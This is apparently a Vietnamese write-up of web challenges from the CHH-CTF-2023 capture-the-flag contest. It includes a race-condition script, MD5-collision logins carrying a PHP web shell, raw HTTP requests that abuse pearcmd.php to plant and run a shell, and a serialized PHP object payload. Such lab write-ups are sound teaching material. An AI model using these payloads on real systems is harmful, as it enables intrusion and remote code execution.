---
# System prepended metadata

title: CHH-CTF-2023

---

## WEB
### Be Positive
Một bài liên quan đến IDOR, ở đây chúng ta sẽ đăng nhập dưới 2 tài khoản là `alice:alice` và `bob:bob`.
![](https://hackmd.io/_uploads/B1LVGoath.png)

Tài khoản `bob` hay `alice` có $1500 và trong khi đó cần $3001 để có flag. Ở đây lợi dụng chức năng `Transfer`, setup số tiền là âm, lúc đó tài khoản người dùng sẽ được cộng thêm vào.
![](https://hackmd.io/_uploads/Sk5lQjaFn.png)
![](https://hackmd.io/_uploads/HJhbmj6Yn.png)

Flag: `CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_adfa1e86f4b1948f03ffcaa99c38317d}`


### Slow Down
Tương tự như `Be Positive` nhưng ở `Transfer` đã filter số âm.
#### Cách 1:
Tác giả đã hint là `Slow Down` nên ở bài này chúng ta có thể tận dụng lỗi `Race Conditions`. Tạo 2 trang khác nhau, đăng nhập cùng 1 loại tài khoản, sau đó chuyển đồng thời cho tài khoản còn lại.
![](https://hackmd.io/_uploads/H1S5KiTtn.png)

Code tham khảo:
```python
import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://slow-down-44f3a156.dailycookie.cloud/?action=transfer', cookies={"PHPSESSID": "e4dbc35e8795f3889acff05a0baff65d"}, data={"amount": "100.849%","recipient":"alice"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())
```

#### Cách 2:
Lợi dụng việc cast của PHP, ta có thể sử dụng cách sau:
![](https://hackmd.io/_uploads/B1gS5jTK2.png)
![](https://hackmd.io/_uploads/SkWgnjpKn.png)

Flag: `CHH{ea5y_RaCe_CONd17iOn_45fc473c70829ee2064408ad4b969571}`

`Ngoại lai:`
![](https://hackmd.io/_uploads/H1UlAs6K2.png)



### Magic Login
Một bài liên quan đến `Type Juggling`. Check qua 1 chút trang web thì ta có được:
![](https://hackmd.io/_uploads/ryjQ41mq3.png)

`$pass` được băm với hash `sha256`, sau đó sẽ `Loose comparison` với 0.
Ta có:
![](https://hackmd.io/_uploads/HJZvCkX9h.png)

Điền vào rồi sẽ đến được trang Upload file, sử dụng file shell và lấy flag.
Flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_1fd2c2d351c09b6f835ad27db97e9847}`


### Magic Login Harder
Vào bài ta sẽ đến 1 trang đăng nhập, check source để hiểu thêm về cơ chế:
```php
<?php
    if(isset($_POST["submit"])){
        $username = base64_decode($_POST['username']);
        $password = base64_decode($_POST['password']);

        if(($username == $password)){
            echo 'Username and password are not the same';
        }
        else if((md5($username)===md5($password))){
            $_SESSION['username'] = $username;
            header('Location: admin.php?file=1.txt');
        } else {
            echo 'Username and password are wrong';
        }
    }
?>
```
Yêu cầu về `$username` và `$password` khác nhau nhưng hash md5 cần phải giống nhau. Research 1 chút ta sẽ có: https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
```python
import base64
x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
print(base64.b64encode(x))
print(base64.b64encode(y))
```
Sau khi đăng nhập vào trang, ta sẽ được dẫn tới đường dẫn `/admin.php?file=1.txt`. Check source:
```php
<?php
    header('Content-Type: text/html; charset=utf-8');
    session_start();
    if($_SESSION['username'] != null){
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }
    }
    else{
        die("Only admin can use this");
    }
?>
```
Qua trên ta có thể tận dụng được lỗi LFI. Mình tham khảo qua một số WU và rút ra được 2 hướng giải.
#### Cách 1:
Sử dụng `proc/self/fd/N`.
`proc`: là một file system chứa thông tin của process hiện tại.
`self`: để lấy information about itself, self giúp chỉ hướng tới process hiện tại mà không cần process id. Có thể thay self bằng các PID khác.
Nguồn:
+ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal#path-traversal
+ https://man7.org/linux/man-pages/man5/proc.5.html
+ https://unix.stackexchange.com/questions/676683/what-does-the-output-of-ll-proc-self-fd-from-ll-dev-fd-mean

Bruteforce sẽ tìm được N=4:
![](https://hackmd.io/_uploads/ByKzU449n.png)

Đoạn text đưa ra sẽ là nội dung của `username`. Thực hiện thay đổi nội dung của `username`:
```python
import hashlib
import base64
x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"<?php system($_GET['cmd']);?>"
print(base64.b64encode(x+z))
print(base64.b64encode(y+z))
```
![](https://hackmd.io/_uploads/HJKIRVE93.png)

#### Cách 2:
Sử dụng `/tmp/sess_<PHPSESSID>`.
Khi thử deploy trên Docker ta sẽ thấy: `session.upload_progress.enabled => On => On`. Theo như research: Sau khi biết được chức năng của php là ghi vào session, mà session mặc định được lưu ở `/tmp/sess_sessid`. 
![](https://hackmd.io/_uploads/rJQnPh1sh.png)

Truy cập vào path:
![](https://hackmd.io/_uploads/BJUikHE5h.png)

Upshell thông qua như `username` như ở trên.

#### Cách 3:
`LFI2RCE via Pearcmd.php`.
PEAR là viết tắt của PHP Extension and Application Repository.
PEAR có đường dẫn cài đặt mặc định là: `/usr/local/lib/php/pearcmd.php`
Điều kiện để làm theo phương pháp này là tham số `register_argc_argv` trong `php.ini` để `ON`. Khi tham số được bật thì có thể truyền thông số từ web thông qua `$_SERVER['argv']`.
Mình sẽ demo nhanh qua payload, đi chuyên sâu vào mình sẽ cố gắng phân tích ở bài khác
```
GET /admin.php?file=+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd']);?>+/tmp/nemnem.php HTTP/1.1
Host: 103.97.125.53:31272
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f
Connection: close
```
Truy cập vào file để chạy shell
```
GET /admin.php?file=/tmp/nemnem.php&cmd=ls+/ HTTP/1.1
Host: 103.97.125.53:31272
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f
Connection: close
```
Flag: `CHH{7yPE_jU66lin9_hArdEr_08a380c67b5e68a560e9719e58f93be8}`


### Pass Code
Một bài dạng JS Obfuscator. Đầu tiên sử dụng https://beautifier.io/ để làm đẹp lại code.Ta sẽ thấy sử dụng thuật toán AES để mã hóa
![](https://hackmd.io/_uploads/Sk19Tggsn.png)

Tiến hành đặt breakpoint và tìm `key`:
![](https://hackmd.io/_uploads/S1On6xlon.png)

Flag:`CHH{jAvAscRIP7_o8FuSCaTe_987245a059b42f3ad64ad3e9e5cc15eb}`

Bonus: có thể dùng Deobfuscator: https://deobfuscate.relative.im/
![](https://hackmd.io/_uploads/BJB_yWli2.png)


### Suck it
Bài này sẽ đưa cho chúng ta giao diện là 1 kênh chat:
![](https://hackmd.io/_uploads/BkCs-0Qs3.png)

Check source để có đương phương án giải:
```javascript
socket.on("private message", ({ content, to }) => {
    const message = {
      content,
      from: socket.userID,
      to,
    };

    switch(to){
      case "thangbanthan":
        message.content = "T đang bận, 5p sau t trả lời. Sau 5p, k thấy trả lời thì xem lại tn này.";
        message.from = to;
        message.to = socket.userID

        socket.emit("private message", message);
        break;
      case "nguoiyeudonphuong":
        const cachcrushtraloi = ['uh','ok','um','seen','seen','seen','seen','seen','seen','seen','seen']
        var reg1 = /n\s*?g\s*?.\s*?.\s*?i\s*?y?\s*?.\s*?u/g
        var reg2 = /b\s*?.\s*?n\s*?g?\s*?.\s*?i/g
        message.content=cachcrushtraloi[Math.floor(Math.random() * cachcrushtraloi.length)];
        
        if(content.match(reg1)||content.match(reg2)){ "chê"; }
        message.from = to;
        message.to = socket.userID

        socket.emit("private message", message);
        break;
      case "nguoiyeucuaADMIN":
        if(socket.userID !== "ADMIN"){
          message.content="I do not associate with n.....on-Admin";
        }else{
          message.content="Đêm qua em tuyệt lắm: \n"+FLAG;
        }
        message.from = to;
        message.to = socket.userID
        socket.emit("private message", message);
        break;
      case "buctuong":
        break;
      default:
        socket.to(to).to(socket.userID).emit("private message", message);
        messageStore.saveMessage(message);
    }

  });
```
Vậy là chúng ta cần nhắn tin cho `nguoiyencuaAMIN` dưới `userID` của ADMIN.
```javascript
io.on("connection", async (socket) => {
  // persist session
  sessionStore.saveSession(socket.sessionID, {
    userID: socket.userID,
    username: socket.username,
    connected: true,
  });
```
```javascript
sessionStore.saveSession(adminID, {
  userID: 'ADMIN',
  username: 'Admin',
  connected: false,
});
```
Mục tiêu là cần đăng nhập dưới `sessionID` của ADMIN, sau đó nhắn tin cho người yêu để lấy được FLAG.
Lợi dụng đoạn code dưới đây để lấy được`sessionID`:
```javascript
socket.on("force disconnect",async (userID,secretKey)=>{
// check valid account
if (secretKey !== "574a94b04f303f5663e833b883cd2b23"){
  socket.emit("This secret key is wrong.")
}
else{
    const targetSocket = await sessionStore.findSessionsByUserID(userID);
    const matchingSockets = await io.in(targetSocket.userID).allSockets();
    const isDisconnected = matchingSockets.size === 0;
if (isDisconnected) {
  // notify other users
  socket.broadcast.emit("user disconnected", targetSocket.userID);
  // update the connection status of the session
  socket.emit(targetSocket.sessionID);
  sessionStore.saveSession(targetSocket.sessionID, {
    userID: targetSocket.userID,
    username:targetSocket.username,
    connected: false,
  });
}};
});
```
Khi thực hiện việc `force disconnect`, ta có thể kick bất kì ai ra, sau đó phía sever sẽ gửi lại cho ta `sessionID` của người đó.
![](https://hackmd.io/_uploads/HyQcSCXjn.png)


Đăng nhập dưới `sessionID` của ADMIN.
![](https://hackmd.io/_uploads/H1BVLC7o2.png)
![](https://hackmd.io/_uploads/ryqBLCms2.png)

Flag:`CHH{H4ve_y0u_re4d_th3_m3ssage_d4599feef94942be665925aea8e50a9e}`


### Video Link Extractor
Một bài với mức độ Hard trong CHH, chúng ta cùng xem qua nhé.
![](https://hackmd.io/_uploads/rJQYuRXih.png)

Trang web có chức năng cho phép chúng ta Extract video, cùng check qua source để biết thêm về cách hoạt động.
```php
error_reporting(E_ERROR | E_PARSE);
require("utils.php");
$utils          = new Utils(); // tạo mới Utils
$parameter      = $_GET; // Mảng para
$utils ->_file  = "format.php"; // Gọi đến trang format và sử dụng wake up để include vào trang index.php
if (isset($parameter['mode'])) {
    switch ($parameter['mode']) {
        case "extract": // trích xuất
            $utils ->_id     = $parameter['id'];
            $utils ->_host   = $parameter['host'];
            $result          = $utils->extract_video_information();
            print($utils);
            break;
        case "redirect": // chuyển hướng
            $url             = $parameter['url'];
            header("Location: ".$url);              
    }
}
```
Ở `index.php` chúng ta sẽ có 2 lựa chọn của `mode` là `extract` và `redirect`. Việc sử dụng `redirect` sẽ thiết lập `Location`, điều hướng trang web cho ta.
```php
public function __wakeup(){
    try
        {
            // check if format file is exists?
            include $this->_file;
        }
    catch (Exception $e)
        {
            throw $e;
        }
}
```
```php
case "local":
    //$link 		= $this->_id;
    $link       = "http://localhost:1337/".$this->_id;
    // $link = "http://localhost:1337/?mode=redirect&url=..."
    $serial_obj = file_get_contents($link);
    $content 	= unserialize($serial_obj);
    break;
```
Vậy hướng giải bài này là chúng ta sẽ điều chỉnh `$this->_id` sao cho ghi thực hiện `file_get_contents` của case `local` sẽ kích hoạt `mode == "redirect"`, điều hướng tới trang chúng ta chứa malicius code, `unserialize` để gọi đến `__wakeup()` và thực hiện việc `include $this->_file`.
Code exploit:
```php
<?php
class Utils{
    public $_file;
    public function __construct()
    {
        $this->_file = "php://filter/convert.base64-encode/resource=flag.php";
    }
}
$a = new Utils;
echo serialize($a);
// O:5:"Utils":1:{s:5:"_file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
?>
```
![](https://hackmd.io/_uploads/ByXDvyEj2.png)

Thực hiện việc Inject vào url:
![](https://hackmd.io/_uploads/H1ORPJVoh.png)

Flag:`CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_5826741fbcb9a872d3a8be90832bb02a}`


